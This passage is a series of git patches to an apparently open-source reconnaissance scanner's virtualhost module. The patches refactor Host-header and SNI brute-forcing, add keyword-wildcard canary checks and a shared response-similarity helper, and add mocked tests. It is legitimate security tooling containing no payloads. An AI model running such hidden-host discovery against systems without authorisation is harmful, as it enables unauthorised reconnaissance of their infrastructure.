refactoring --- bbot/modules/virtualhost.py | 237 ++++++++++++------ .../module_tests/test_module_virtualhost.py | 128 +++++++++- 2 files changed, 273 insertions(+), 92 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 477e91131f..a727b30067 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -69,6 +69,34 @@ async def setup(self): return True + def _get_basehost(self, event): + """Get the basehost and subdomain from the event""" + basehost = self.helpers.parent_domain(event.parsed_url.hostname) + if not basehost: + raise ValueError(f"No parent domain found for {event.parsed_url.hostname}") + subdomain = event.parsed_url.hostname.removesuffix(basehost).rstrip(".") + return basehost, subdomain + + async def _get_baseline_response(self, event, normalized_url, host_ip): + """Get baseline response for a host using the appropriate method (HTTPS SNI or HTTP Host header)""" + is_https = event.parsed_url.scheme == "https" + host = event.parsed_url.netloc + + if is_https: + port = event.parsed_url.port or 443 + baseline_response = await self.helpers.web.curl( + url=f"https://{host}:{port}/", + resolve={"host": host, "port": port, "ip": host_ip}, + ) + else: + baseline_response = await self.helpers.web.curl( + url=normalized_url, + headers={"Host": host}, + resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, + ) + + return baseline_response + async def handle_event(self, event): if not self.helpers.is_ip(event.host) or self.config.get("force_basehost"): scheme = event.parsed_url.scheme @@ -83,23 +111,14 @@ async def handle_event(self, event): if self.config.get("force_basehost"): basehost = self.config.get("force_basehost") + subdomain = "" else: - basehost = self.helpers.parent_domain(event.parsed_url.hostname) + basehost, subdomain = self._get_basehost(event) + is_https = event.parsed_url.scheme == "https" host_ip = next(iter(event.resolved_hosts)) - if is_https: - port = event.parsed_url.port or 443 - baseline_response = await self.helpers.web.curl( - url=f"https://{host}:{port}/", - resolve={"host": host, "port": port, "ip": host_ip}, - ) - else: - baseline_response = await self.helpers.web.curl( - url=normalized_url, - headers={"Host": host}, - resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, - ) + baseline_response = await self._get_baseline_response(event, normalized_url, host_ip) if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response): self.verbose( @@ -115,26 +134,28 @@ async def handle_event(self, event): await self._run_virtualhost_phase( "Target host Subdomain Brute-force", normalized_url, - f".{basehost}", + basehost, host_ip, is_https, event, "subdomain", ) - # Phase 2: Check existing host for mutations - if self.config.get("mutation_check", True): - self.verbose(f"=== Starting mutations check on {normalized_url} ===") - await self._run_virtualhost_phase( - "Mutations on target host", - normalized_url, - f".{basehost}", - host_ip, - is_https, - event, - "mutation", - wordlist=self.mutations_check(event.parsed_url.netloc.split(".")[0]), - ) + # only run mutations if there is an actual subdomain (to mutate) + if subdomain: + # Phase 2: Check existing host for mutations + if self.config.get("mutation_check", True): + self.verbose(f"=== Starting mutations check on {normalized_url} ===") + await self._run_virtualhost_phase( + "Mutations on target host", + normalized_url, + basehost, + host_ip, + is_https, + event, + "mutation", + wordlist=self.mutations_check(subdomain), + ) # Phase 3: Special virtual host list if self.config.get("special_hosts", True): @@ -266,6 +287,10 @@ def _get_canary_random_host(self, host, basehost, mode="subdomain"): elif mode == "subdomain": # Default subdomain mode - add random subdomain canary_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) + basehost + elif mode == "random_append": + # Append random string to existing hostname (first domain level) + random_suffix = "".join(random.choice(string.ascii_lowercase) for i in range(4)) + canary_host = f"{host.split('.')[0]}{random_suffix}.{'.'.join(host.split('.')[1:])}" elif mode == "random": # Fully random hostname with .com TLD random_host = "".join(random.choice(string.ascii_lowercase) for i in range(self.CANARY_LENGTH)) @@ -293,10 +318,11 @@ async def _get_canary_response(self, normalized_url, basehost, host_ip, is_https resolve={"host": canary_host, "port": port, "ip": host_ip}, ) else: + http_port = parsed.port or 80 canary_response = await self.helpers.web.curl( url=normalized_url, headers={"Host": canary_host}, - resolve={"host": parsed.hostname, "port": parsed.port or 80, "ip": host_ip}, + resolve={"host": parsed.hostname, "port": http_port, "ip": host_ip}, ) return canary_response @@ -344,11 +370,20 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, # Test modified host if probe_scheme == "https": port = event.parsed_url.port or 443 + # Log the canary URL for the wildcard SNI test + self.debug( + f"CANARY URL: https://{https_modified_host_for_sni}:{port}/ [phase=wildcard-check, mode=single-char-mutation]" + ) wildcard_canary_response = await self.helpers.web.curl( url=f"https://{https_modified_host_for_sni}:{port}/", resolve={"host": https_modified_host_for_sni, "port": port, "ip": host_ip}, ) else: + # Log the canary URL for the wildcard Host header test + http_port = event.parsed_url.port or 80 + self.debug( + f"CANARY URL: {probe_scheme}://{http_modified_host_for_header if ':' in http_modified_host_for_header else f'{http_modified_host_for_header}:{http_port}'}/ [phase=wildcard-check, mode=single-char-mutation]" + ) wildcard_canary_response = await self.helpers.web.curl( url=f"{probe_scheme}://{event.parsed_url.netloc}/", headers={"Host": http_modified_host_for_header}, @@ -485,7 +520,7 @@ async def curl_virtualhost( # Construct virtual host header if basehost: # Wordlist entries are subdomain prefixes - append basehost - probe_host = f"{word}{basehost}" + probe_host = f"{word}.{basehost}" else: # No basehost - use as-is @@ -586,10 +621,11 @@ async def _test_virtualhost( resolve={"host": probe_host, "port": port, "ip": host_ip}, ) else: + port = event.parsed_url.port or 80 probe_response = await self.helpers.web.curl( url=normalized_url, headers={"Host": probe_host}, - resolve={"host": event.parsed_url.hostname, "port": event.parsed_url.port or 80, "ip": host_ip}, + resolve={"host": event.parsed_url.hostname, "port": port, "ip": host_ip}, ) if not probe_response or probe_response["response_data"] == "": @@ -615,8 +651,8 @@ async def _test_virtualhost( ) # Re-verify canary consistency before emission - if not await self._verify_canary( - event, canary_response, canary_mode, normalized_url, probe_host, is_https, basehost, host_ip + if not await self._verify_canary_consistency( + canary_response, canary_mode, normalized_url, is_https, basehost, host_ip ): self.verbose( f"CANARY CHANGED: Rejecting {probe_host}. Original canary had code {canary_response['http_code']} and response data of length {len(canary_response['response_data'])}" @@ -624,41 +660,53 @@ async def _test_virtualhost( raise CurlError(f"Canary changed since initial test, rejecting {probe_host}") # Canary is consistent, proceed + probe_url = f"{event.parsed_url.scheme}://{probe_host}:{port}/" + + # Check for keyword-based virtual host wildcards + if not await self._verify_canary_keyword(probe_response, probe_url, is_https, basehost, host_ip): + self.verbose( + f"CANARY KEYWORD: Rejecting {probe_host}. Intentionally wrong hostname has a canary too similar to the original." + ) + return None + # Don't emit if this would be the same as the original netloc - if probe_host != event.parsed_url.netloc: - # Check if this virtual host is externally accessible - port = event.parsed_url.port or (443 if is_https else 80) - probe_url = f"{event.parsed_url.scheme}://{probe_host}:{port}/" - is_externally_accessible = await self._is_host_accessible(probe_url) - - virtualhost_dict = { - "host": str(event.host), - "url": normalized_url, - "virtual_host": probe_host, - "description": self._build_description( - discovery_method, probe_response, is_externally_accessible, host_ip - ), - "ip": host_ip, - } - - # Skip if we require inaccessible hosts and this one is accessible - if self.config.get("require_inaccessible", True) and is_externally_accessible: - self.verbose( - f"Skipping emit for virtual host {probe_host} - is externally accessible and require_inaccessible is True" - ) - return None + if probe_host == event.parsed_url.netloc: + self.verbose(f"Skipping emit for virtual host {probe_host} - is the same as the original netloc") + return None + + # Check if this virtual host is externally accessible + port = event.parsed_url.port or (443 if is_https else 80) + + is_externally_accessible = await self._is_host_accessible(probe_url) + + virtualhost_dict = { + "host": str(event.host), + "url": normalized_url, + "virtual_host": probe_host, + "description": self._build_description( + discovery_method, probe_response, is_externally_accessible, host_ip + ), + "ip": host_ip, + } - # Return data for emission at _run_virtualhost_phase level - technique = "SNI" if is_https else "Host header" - return { - "virtualhost_dict": virtualhost_dict, - "similarity": similarity, - "probe_host": probe_host, - "skip_dns_host": skip_dns_host, - "discovery_method": f"{discovery_method} ({technique})", - "status_code": probe_response.get("http_code", "N/A"), - "content_length": len(probe_response.get("response_data", "")), - } + # Skip if we require inaccessible hosts and this one is accessible + if self.config.get("require_inaccessible", True) and is_externally_accessible: + self.verbose( + f"Skipping emit for virtual host {probe_host} - is externally accessible and require_inaccessible is True" + ) + return None + + # Return data for emission at _run_virtualhost_phase level + technique = "SNI" if is_https else "Host header" + return { + "virtualhost_dict": virtualhost_dict, + "similarity": similarity, + "probe_host": probe_host, + "skip_dns_host": skip_dns_host, + "discovery_method": f"{discovery_method} ({technique})", + "status_code": probe_response.get("http_code", "N/A"), + "content_length": len(probe_response.get("response_data", "")), + } def analyze_response(self, probe_host, probe_response, canary_response, event): probe_status = probe_response["http_code"] @@ -746,39 +794,68 @@ def get_content_similarity(self, canary_response, probe_response, reflection_fil return similarity - async def _verify_canary( - self, event, original_canary_response, canary_mode, normalized_url, probe_host, is_https, basehost, host_ip + async def _verify_canary_keyword(self, original_response, probe_url, is_https, basehost, host_ip): + """Perform last-minute check on the canary for keyword-based virtual host wildcards""" + + try: + keyword_canary_response = await self._get_canary_response( + probe_url, basehost, host_ip, is_https, mode="random_append" + ) + except CurlError as e: + self.warning(f"Canary verification failed due to curl error: {e}") + return False + + if not keyword_canary_response: + return False + + # If we get the exact same content after altering the hostname, keyword based virtual host routing is likely being used + if keyword_canary_response["response_data"] == original_response["response_data"]: + self.verbose( + f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - response data is exactly the same" + ) + return False + + similarity = self.get_content_similarity(original_response, keyword_canary_response) + if similarity >= self.SIMILARITY_THRESHOLD: + self.verbose( + f"Intentionally wrong hostname has a canary too similar to the original. Using probe url: {probe_url} - similarity: {similarity:.3f} above threshold {self.SIMILARITY_THRESHOLD} - Original: {original_response.get('http_code', 'N/A')} ({len(original_response.get('response_data', ''))} bytes), Current: {keyword_canary_response.get('http_code', 'N/A')} ({len(keyword_canary_response.get('response_data', ''))} bytes)" + ) + return False + return True + + async def _verify_canary_consistency( + self, original_canary_response, canary_mode, normalized_url, is_https, basehost, host_ip ): - """Re-test the canary to make sure it's still consistent before emission""" + """Perform last-minute check on the canary for consistency""" # Re-run the same canary test as we did initially try: - current_canary_response = await self._get_canary_response( + consistency_canary_response = await self._get_canary_response( normalized_url, basehost, host_ip, is_https, mode=canary_mode ) except CurlError as e: self.warning(f"Canary verification failed due to curl error: {e}") return False - if not current_canary_response: + if not consistency_canary_response: return False # Check if HTTP codes are different first (hard failure) - if original_canary_response["http_code"] != current_canary_response["http_code"]: + if original_canary_response["http_code"] != consistency_canary_response["http_code"]: self.verbose( - f"CANARY HTTP CODE CHANGED for {normalized_url} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {current_canary_response.get('http_code', 'N/A')} ({len(current_canary_response.get('response_data', ''))} bytes)" + f"CANARY HTTP CODE CHANGED for {normalized_url} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" ) return False # if response data is exactly the same, we're good - if original_canary_response["response_data"] == current_canary_response["response_data"]: + if original_canary_response["response_data"] == consistency_canary_response["response_data"]: return True # Fallback - use similarity comparison for response data (allows slight differences) - similarity = self.get_content_similarity(original_canary_response, current_canary_response) + similarity = self.get_content_similarity(original_canary_response, consistency_canary_response) if similarity < self.SIMILARITY_THRESHOLD: self.verbose( - f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {current_canary_response.get('http_code', 'N/A')} ({len(current_canary_response.get('response_data', ''))} bytes)" + f"CANARY SIMILARITY CHANGED for {normalized_url} - similarity: {similarity:.3f} below threshold {self.SIMILARITY_THRESHOLD} - Original: {original_canary_response.get('http_code', 'N/A')} ({len(original_canary_response.get('response_data', ''))} bytes), Current: {consistency_canary_response.get('http_code', 'N/A')} ({len(consistency_canary_response.get('response_data', ''))} bytes)" ) return False return True @@ -824,7 +901,7 @@ def mutations_check(self, virtualhost): async def finish(self): # phase 5: check existing hosts with wordcloud self.verbose(" === Starting Finish() Wordcloud check === ") - if not self.config.get("wordcloud_check", True): + if not self.config.get("wordcloud_check", False): self.debug("FINISH METHOD: Wordcloud check is disabled, skipping finish phase") return @@ -859,14 +936,14 @@ async def finish(self): if self.config.get("force_basehost"): basehost = self.config.get("force_basehost") else: - basehost = self.helpers.parent_domain(host_parsed_url.hostname) + basehost, subdomain = self._get_basehost(event) # Get fresh canary and original response for this host is_https = host_parsed_url.scheme == "https" host_ip = next(iter(event.resolved_hosts)) self.verbose(f"FINISH METHOD: Starting wildcard check for {host}") - baseline_response = await self.helpers.web.curl(url=f"{host_parsed_url.scheme}://{basehost}") + baseline_response = await self._get_baseline_response(event, host, host_ip) if not await self._wildcard_canary_check( host_parsed_url.scheme, host_parsed_url.netloc, event, host_ip, baseline_response ): @@ -881,11 +958,11 @@ async def finish(self): await self._run_virtualhost_phase( "Target host wordcloud mutations", host, - f".{basehost}", + basehost, host_ip, is_https, event, - "random", + "subdomain", wordlist=tempfile, ) self.wordcloud_tried_hosts.add(host) diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index e7417f9d8a..e383d8ebd0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -230,7 +230,7 @@ def check(self, module_test, events): class TestVirtualhostMutations(VirtualhostTestBase): """Test host mutation detection using HTTP Host headers""" - targets = ["http://target.test:8888"] + targets = ["http://subdomain.target.test:8888"] modules_overrides = ["httpx", "virtualhost"] config_overrides = { "modules": { @@ -277,7 +277,7 @@ class DummyModule(BaseModule): async def handle_event(self, event): if event.type == "SCAN": url_event = self.scan.make_event( - "http://target.test:8888/", + "http://subdomain.target.test:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"], @@ -300,23 +300,23 @@ def request_handler(self, request): host_header = request.headers.get("Host", "").lower() # Baseline request to target.test (with or without port) - if not host_header or host_header in ["target.test", "target.test:8888"]: + if not host_header or host_header in ["subdomain.target.test", "subdomain.target.test:8888"]: return Response("baseline response from target.test", status=200) # Wildcard canary check - if re.match(r"[a-z]arget\.test(?::8888)?$", host_header): # Modified target.test + if re.match(r"[a-z]subdomain\.target\.test(?::8888)?$", host_header): # Modified target.test return Response("wildcard canary response", status=404) # Mutation canary requests (4 chars + dash + original host) - if re.match(r"^[a-z]{4}-target\.test(?::8888)?$", host_header): + if re.match(r"^[a-z]{4}-subdomain\.target\.test(?::8888)?$", host_header): return Response("Mutation Canary", status=404) # Word cloud mutation matches - return different content than canary - if host_header in ["targetdev.test", "targetdev.test:8888", "target-dev.test", "target-dev.test:8888"]: - return Response("Development target found!", status=200) - if host_header in ["devtarget.test", "devtarget.test:8888", "dev-target.test", "dev-target.test:8888"]: - return Response("Dev target found!", status=200) - if host_header in ["targettest.test", "targettest.test:8888", "target-test.test", "target-test.test:8888"]: + if host_header == "subdomain-dev.target.test": + return Response("Dev target 1 found!", status=200) + if host_header == "devsubdomain.target.test": + return Response("Dev target 2 found!", status=200) + if host_header == "subdomaintest.target.test": return Response("Test target found!", status=200) # Default response @@ -625,9 +625,7 @@ def check(self, module_test, events): found_correct_host = False for e in events: if e.type == "VIRTUAL_HOST": - print("@@@@@@") desc = e.data.get("description", "") - print(desc) if "Interesting Default Content (from intentionally-incorrect canary host)" in desc: found_interesting = True # The VIRTUAL_HOST should be the canary hostname used in the wildcard request @@ -637,3 +635,109 @@ def check(self, module_test, events): assert found_interesting, "Expected VIRTUAL_HOST from interesting default canary content was not emitted" assert found_correct_host, "virtual_host should equal the canary hostname 'znteresting.test'" + + +class TestVirtualhostKeywordWildcard(VirtualhostTestBase): + """Test keyword-based wildcard detection using 'www' in hostname""" + + targets = ["http://acme.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + # Keep brute_lines small and supply a tiny wordlist containing a 'www' entry and an exact match + } + } + } + + async def setup_after_prep(self, module_test): + # Start HTTP server with wildcard behavior for any hostname containing 'www' + await super().setup_after_prep(module_test) + + # Mock DNS resolution for acme.test + await module_test.mock_dns({"acme.test": {"A": ["127.0.0.1"]}}) + + # Provide a tiny custom wordlist containing 'wwwfoo' and 'admin' so that: + # - 'wwwfoo' would be a false positive without the keyword-based wildcard detection + # - 'admin' will be an exact match we deliberately allow via the response handler + from .base import tempwordlist + + words = ["wwwfoo", "admin"] + wl = tempwordlist(words) + + # Patch virtualhost to use our custom wordlist and inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + original_setup = vh_module.setup + + async def patched_setup(): + await original_setup() + vh_module.brute_wordlist = wl + return True + + module_test.monkeypatch.setattr(vh_module, "setup", patched_setup) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_keyword" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://acme.test:8888/", + "URL", + parent=event, + tags=["status-404", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_keyword"] = DummyModule(module_test.scan) + + # Inject resolved hosts for the URL + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline response for original host + if not host_header or host_header in ["acme.test", "acme.test:8888"]: + return Response("baseline not found", status=404) + + # If hostname contains 'www' anywhere, return the same body as baseline (simulating keyword wildcard) + if "www" in host_header: + return Response("baseline not found", status=404) + + # Exact-match virtual host that should still be detected + if host_header in ["admin.acme.test", "admin.acme.test:8888"]: + return Response("Admin portal", status=200) + + # Default + return Response("default response", status=404) + + def check(self, module_test, events): + found_admin = False + found_www = False + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data.get("virtual_host") + if vhost == "admin.acme.test": + found_admin = True + if vhost and "www" in vhost: + found_www = True + + assert found_admin, "Expected VIRTUAL_HOST for admin.acme.test was not emitted" + assert not found_www, "No VIRTUAL_HOST should be emitted for 'www' keyword wildcard entries" From 716652e154e11207a9e271615cae15885200ba9b Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 8 Sep 2025 13:53:42 -0400 Subject: [PATCH 040/129] error message adjustments --- bbot/modules/virtualhost.py | 39 ++++++++++++++++++++++++++++++++----- 1 file changed, 34 insertions(+), 5 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index a727b30067..45f9d2fef1 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -664,9 +664,6 @@ async def _test_virtualhost( # Check for keyword-based virtual host wildcards if not await self._verify_canary_keyword(probe_response, probe_url, is_https, basehost, host_ip): - self.verbose( - f"CANARY KEYWORD: Rejecting {probe_host}. Intentionally wrong hostname has a canary too similar to the original." - ) return None # Don't emit if this would be the same as the original netloc @@ -786,14 +783,46 @@ def get_content_similarity(self, canary_response, probe_response, reflection_fil if cache_key in self.similarity_cache: return self.similarity_cache[cache_key] - # Calculate similarity - similarity = fuzz.ratio(canary_data, probe_data) / 100.0 + # Calculate similarity with optional truncation for performance + # Truncate if EITHER response is larger than 4096 bytes + if len(canary_data) > 4096 or len(probe_data) > 4096: + # Take first 2048 bytes + last 1024 bytes for comparison + canary_truncated = self._truncate_content_for_similarity(canary_data) + probe_truncated = self._truncate_content_for_similarity(probe_data) + similarity = fuzz.ratio(canary_truncated, probe_truncated) / 100.0 + else: + # Use full content for smaller responses + similarity = fuzz.ratio(canary_data, probe_data) / 100.0 # Cache the result self.similarity_cache[cache_key] = similarity return similarity + def _truncate_content_for_similarity(self, content): + """ + Truncate content for similarity comparison to improve performance. + + Truncation rules: + - If content <= 3072 bytes (2048 + 1024): return as-is + - If content > 3072 bytes: return first 2048 bytes + last 1024 bytes + + This captures: + - First 2048 bytes: HTTP headers, HTML head, title, main content start + - Last 1024 bytes: Footers, closing scripts, HTML closing tags + """ + content_length = len(content) + + # No truncation needed for smaller content + if content_length <= 3072: + return content + + # Truncate: first 2048 + last 1024 bytes + first_part = content[:2048] + last_part = content[-1024:] + + return first_part + last_part + async def _verify_canary_keyword(self, original_response, probe_url, is_https, basehost, host_ip): """Perform last-minute check on the canary for keyword-based virtual host wildcards""" From bf978b906c7c6e5dfd9abc724b4857e18215edb5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 8 Sep 2025 23:55:56 -0400 Subject: [PATCH 041/129] error handling --- bbot/core/helpers/web/web.py | 14 ++++++++++++-- bbot/modules/virtualhost.py | 6 +++++- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 903e7bd1a9..c50fbb9ce0 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -1,4 +1,6 @@ +import json import logging +import re import warnings from pathlib import Path from bs4 import BeautifulSoup @@ -483,7 +485,6 @@ async def curl(self, *args, **kwargs): output = (await self.parent_helper.run(curl_command)).stdout # Parse the output to separate content and metadata - import json parts = output.split("\n---CURL_METADATA---\n") @@ -499,7 +500,16 @@ async def curl(self, *args, **kwargs): try: metadata = json.loads(json_data) except json.JSONDecodeError as e: - raise CurlError(f"Failed to parse curl JSON metadata: {e}. JSON data: {json_data[:200]}...") + # Try to fix common malformed JSON issues from curl output + try: + # Fix empty values like "certs":, -> "certs":null, + fixed_json = re.sub(r':"?\s*,', ":null,", json_data) + # Fix trailing commas before closing braces + fixed_json = re.sub(r",\s*}", "}", fixed_json) + metadata = json.loads(fixed_json) + log.debug(f"Fixed malformed JSON from curl: {json_data[:100]}... -> {fixed_json[:100]}...") + except json.JSONDecodeError: + raise CurlError(f"Failed to parse curl JSON metadata: {e}. JSON data: {json_data[:200]}...") # Combine into final JSON structure return {"response_data": response_data, **metadata} diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 45f9d2fef1..3f59cf6fed 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -118,7 +118,11 @@ async def handle_event(self, event): is_https = event.parsed_url.scheme == "https" host_ip = next(iter(event.resolved_hosts)) - baseline_response = await self._get_baseline_response(event, normalized_url, host_ip) + try: + baseline_response = await self._get_baseline_response(event, normalized_url, host_ip) + except CurlError as e: + self.warning(f"Failed to get baseline response for {normalized_url}: {e}") + return None if not await self._wildcard_canary_check(scheme, host, event, host_ip, baseline_response): self.verbose( From 05505d84b25baebababdeb31c251ecad4e68947f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 10 Sep 2025 15:26:55 -0400 Subject: [PATCH 042/129] add web.response_similarity web helper --- bbot/core/helpers/web/web.py | 121 +++++++++++++++++++++++++++++++++++ 1 file changed, 121 insertions(+) diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index c50fbb9ce0..e63cbaca0c 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -626,3 +626,124 @@ def response_to_json(self, response): } return j + + def response_similarity(self, response1, response2, normalization_filter=None, similarity_cache=None): + """ + Calculate similarity between two HTTP response objects using rapidfuzz with performance optimizations. + + This method compares the response_data content of two HTTP response objects and returns a similarity + score between 0.0 (completely different) and 1.0 (identical). It includes several optimizations: + - Fast exact equality check for identical responses + - Content truncation for large responses (>4KB) to improve performance + - Optional caching using xxHash for fast cache key generation (bring your own similarity_cache dict) + - Hostname reflection filtering to normalize responses + + Args: + response1 (dict): First HTTP response object with 'response_data' key containing the response body + response2 (dict): Second HTTP response object with 'response_data' key containing the response body + normalization_filter (str, optional): String to remove from both response bodies before comparison. + Useful for removing hostname reflections or other dynamic content that would skew similarity calculations. + similarity_cache (dict, optional): Cache dictionary for storing/retrieving similarity results. + Uses xxHash-based keys for fast lookups. If provided, results will be cached to improve + performance on repeated comparisons. + + Returns: + float: Similarity score between 0.0 (completely different) and 1.0 (identical). + Values closer to 1.0 indicate more similar content. + + Examples: + Basic similarity comparison: + >>> similarity = self.helpers.web.response_similarity(response1, response2) + >>> if similarity > 0.8: + >>> print("Responses are very similar") + + With hostname reflection filtering: + >>> similarity = self.helpers.web.response_similarity( + >>> baseline_response, + >>> probe_response, + >>> normalization_filter="example.com" + >>> ) + + With caching for performance: + >>> cache = {} + >>> similarity = self.helpers.web.response_similarity( + >>> response1, + >>> response2, + >>> similarity_cache=cache + >>> ) + + Performance Notes: + - Responses larger than 4KB are automatically truncated to first 2KB + last 1KB for comparison + - Exact equality is checked first for optimal performance on identical responses + - Cache keys are order-independent (comparing A,B gives same cache key as B,A) + """ + from rapidfuzz import fuzz + import xxhash + + # Create fast hashes for cache key using xxHash + response1_data = response1["response_data"] + response2_data = response2["response_data"] + + # Normalize by removing specified content to eliminate differences + if normalization_filter: + response2_data = response2_data.replace(normalization_filter, "") + response1_data = response1_data.replace(normalization_filter, "") + + # Fastest check: exact equality (very common for identical error pages) + if response1_data == response2_data: + return 1.0 # Exactly the same + + response1_hash = xxhash.xxh64( + response1_data.encode() if isinstance(response1_data, str) else response1_data + ).hexdigest() + response2_hash = xxhash.xxh64( + response2_data.encode() if isinstance(response2_data, str) else response2_data + ).hexdigest() + + # Create cache key (order-independent) + cache_key = tuple(sorted([response1_hash, response2_hash])) + + # Check cache first if provided + if similarity_cache is not None and cache_key in similarity_cache: + return similarity_cache[cache_key] + + # Calculate similarity with optional truncation for performance + # Truncate if EITHER response is larger than 4096 bytes + if len(response1_data) > 4096 or len(response2_data) > 4096: + # Take first 2048 bytes + last 1024 bytes for comparison + response1_truncated = self._truncate_content_for_similarity(response1_data) + response2_truncated = self._truncate_content_for_similarity(response2_data) + similarity = fuzz.ratio(response1_truncated, response2_truncated) / 100.0 + else: + # Use full content for smaller responses + similarity = fuzz.ratio(response1_data, response2_data) / 100.0 + + # Cache the result if cache provided + if similarity_cache is not None: + similarity_cache[cache_key] = similarity + + return similarity + + def _truncate_content_for_similarity(self, content): + """ + Truncate content for similarity comparison to improve performance. + + Truncation rules: + - If content <= 3072 bytes (2048 + 1024): return as-is + - If content > 3072 bytes: return first 2048 bytes + last 1024 bytes + + This captures: + - First 2048 bytes: HTTP headers, HTML head, title, main content start + - Last 1024 bytes: Footers, closing scripts, HTML closing tags + """ + content_length = len(content) + + # No truncation needed for smaller content + if content_length <= 3072: + return content + + # Truncate: first 2048 + last 1024 bytes + first_part = content[:2048] + last_part = content[-1024:] + + return first_part + last_part From 7a24d162d017d35cc987a57e35224f0a34148ed7 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 10 Sep 2025 15:27:21 -0400 Subject: [PATCH 043/129] use new response_similarity helper --- bbot/modules/virtualhost.py | 76 +++---------------------------------- 1 file changed, 6 insertions(+), 70 deletions(-) diff --git a/bbot/modules/virtualhost.py b/bbot/modules/virtualhost.py index 3f59cf6fed..d7ee21fcec 100644 --- a/bbot/modules/virtualhost.py +++ b/bbot/modules/virtualhost.py @@ -1,8 +1,6 @@ -from rapidfuzz import fuzz from urllib.parse import urlparse import random import string -import xxhash from bbot.modules.base import BaseModule from bbot.errors import CurlError @@ -419,7 +417,7 @@ async def _wildcard_canary_check(self, probe_scheme, probe_host, event, host_ip, return True # Compare original probe response with modified response - similarity = self.get_content_similarity(probe_response, wildcard_canary_response) + similarity = self.helpers.web.response_similarity(probe_response, wildcard_canary_response) result = similarity <= self.SIMILARITY_THRESHOLD if not result: @@ -753,7 +751,9 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): # Calculate content similarity to canary (junk response) # Use probe hostname for normalization to remove hostname reflection differences - similarity = self.get_content_similarity(canary_response, probe_response, reflection_filter=probe_host) + similarity = self.helpers.web.response_similarity( + canary_response, probe_response, normalization_filter=probe_host, similarity_cache=self.similarity_cache + ) # Debug logging only when we think we found a match if similarity <= self.SIMILARITY_THRESHOLD: @@ -763,70 +763,6 @@ def analyze_response(self, probe_host, probe_response, canary_response, event): return similarity - def get_content_similarity(self, canary_response, probe_response, reflection_filter=None): - # Create fast hashes for cache key using xxHash - canary_data = canary_response["response_data"] - probe_data = probe_response["response_data"] - - # Normalize by removing hostname to eliminate hostname reflection differences - if reflection_filter: - probe_data = probe_data.replace(reflection_filter, "") - canary_data = canary_data.replace(reflection_filter, "") - - # Fastest check: exact equality (very common for identical error pages) - if canary_data == probe_data: - return 1.0 # Exactly the same - - canary_hash = xxhash.xxh64(canary_data.encode() if isinstance(canary_data, str) else canary_data).hexdigest() - probe_hash = xxhash.xxh64(probe_data.encode() if isinstance(probe_data, str) else probe_data).hexdigest() - - # Create cache key (order-independent) - cache_key = tuple(sorted([canary_hash, probe_hash])) - - # Check cache first - if cache_key in self.similarity_cache: - return self.similarity_cache[cache_key] - - # Calculate similarity with optional truncation for performance - # Truncate if EITHER response is larger than 4096 bytes - if len(canary_data) > 4096 or len(probe_data) > 4096: - # Take first 2048 bytes + last 1024 bytes for comparison - canary_truncated = self._truncate_content_for_similarity(canary_data) - probe_truncated = self._truncate_content_for_similarity(probe_data) - similarity = fuzz.ratio(canary_truncated, probe_truncated) / 100.0 - else: - # Use full content for smaller responses - similarity = fuzz.ratio(canary_data, probe_data) / 100.0 - - # Cache the result - self.similarity_cache[cache_key] = similarity - - return similarity - - def _truncate_content_for_similarity(self, content): - """ - Truncate content for similarity comparison to improve performance. - - 